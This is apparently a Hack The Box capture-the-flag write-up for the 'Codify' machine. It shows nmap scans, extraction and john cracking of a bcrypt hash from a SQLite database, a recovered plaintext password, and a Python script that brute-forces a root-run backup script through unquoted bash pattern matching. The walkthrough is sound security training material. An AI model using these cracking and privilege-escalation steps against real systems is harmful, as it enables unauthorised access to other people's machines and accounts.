┌──(kali㉿kali)-[~/HTB/Codify] └─$ sudo nmap -sS -oA nmap/initial_scan 10.129.65.42 [sudo] password for kali: Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-11 23:31 EST Nmap scan report for 10.129.65.42 Host is up (0.13s latency). Not shown: 997 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 3000/tcp open ppp
┌──(kali㉿kali)-[~/HTB/Codify] └─$ sudo nmap -sC -sV -p 22,80,3000 -oA nmap/script_scan 10.129.65.42 Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-11 23:32 EST Nmap scan report for 10.129.65.42 Host is up (0.13s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA) |_ 256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519) 80/tcp open http Apache httpd 2.4.52 |_http-title: Did not follow redirect to http://codify.htb/ |_http-server-header: Apache/2.4.52 (Ubuntu) 3000/tcp open http Node.js Express framework |_http-title: Codify Service Info: Host: codify.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 17.04 seconds
Foothold
add vhost to /etc/hosts
1 2 3 4
┌──(kali㉿kali)-[~] └─$ echo "10.129.65.42 codify.htb" | sudo tee -a /etc/hosts [sudo] password for kali: 10.129.65.42 codify.htb
svc@codify:~$ pm2 desc 0 pm2 desc 0 Describing process with id 0 - name index ┌───────────────────┬───────────────────────────────────────┐ │ status │ online │ │ name │ index │ │ namespace │ default │ │ version │ N/A │ │ restarts │ 0 │ │ uptime │ 33m │ │ script path │ /var/www/editor/index.js │ │ script args │ N/A │ │ error log path │ /home/svc/.pm2/logs/index-error-0.log │ │ out log path │ /home/svc/.pm2/logs/index-out-0.log │ │ pid path │ /home/svc/.pm2/pids/index-0.pid │ │ interpreter │ node │ │ interpreter args │ N/A │ │ script id │ 0 │ │ exec cwd │ /home/svc │ │ exec mode │ cluster_mode │ │ node.js version │ 18.17.1 │ │ node env │ N/A │ │ watch & reload │ ✘ │ │ unstable restarts │ 0 │ │ created at │ 2023-09-12T17:19:27.612Z │ └───────────────────┴───────────────────────────────────────┘
Found the directory /var/www/contact Directory contains index.js and tickets.db Inspecting index.js, we see it saves user credentials to the db Started a python http server to download tickets.db
┌──(kali㉿kali)-[~/HTB/Codify/files] └─$ sqlite3 tickets.db SQLite version 3.43.1 2023-09-11 12:01:27 Enter ".help" for usage hints. sqlite> .tables tickets users sqlite> select * from users; 3|joshua|$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2 sqlite>
We use john to crack the password
1 2 3 4 5 6 7 8 9 10 11
┌──(kali㉿kali)-[~/HTB/Codify/files] └─$ john password.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=bcrypt Using default input encoding: UTF-8 Loaded 1 password hash (bcrypt [Blowfish 32/64 X3]) Cost 1 (iteration count) is 4096 for all loaded hashes Will run 8 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status spongebob1 (?) 1g 0:00:00:09 DONE (2023-11-12 00:15) 0.1106g/s 151.3p/s 151.3c/s 151.3C/s winston..angel123 Use the "--show" option to display all of the cracked passwords reliably Session completed.
Now we have the following credentials which we can use to login and get the flag
1 2
joshua spongebob1
1 2 3
joshua@codify:~$ ls user.txt joshua@codify:~$ cat user.txt
Getting Root
Information Gathering
sudo -l shows we have permission to run a bash script
1 2 3 4 5 6
joshua@codify:/opt/scripts$ sudo -l Matching Defaults entries for joshua on codify: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User joshua may run the following commands on codify: (root) /opt/scripts/mysql-backup.sh
Privilege Escalation
Reading https://mywiki.wooledge.org/BashPitfalls#A.5B_.24foo_.3D_.22bar.22_.5D, I understand that when using [[, if the right hand side of the conditional is not wrapped in quotes it will perform pattern matching when followed by *, not literal. So we can try to brute force the password using python.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
import string import subprocess all = list(string.ascii_letters + string.digits) password = "" found = False
while not found: for character in all: command = f"echo '{password}{character}*' | sudo /opt/scripts/mysql-backup.sh" output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout
if "Password confirmed!" in output: password += character print(password) break else: found = True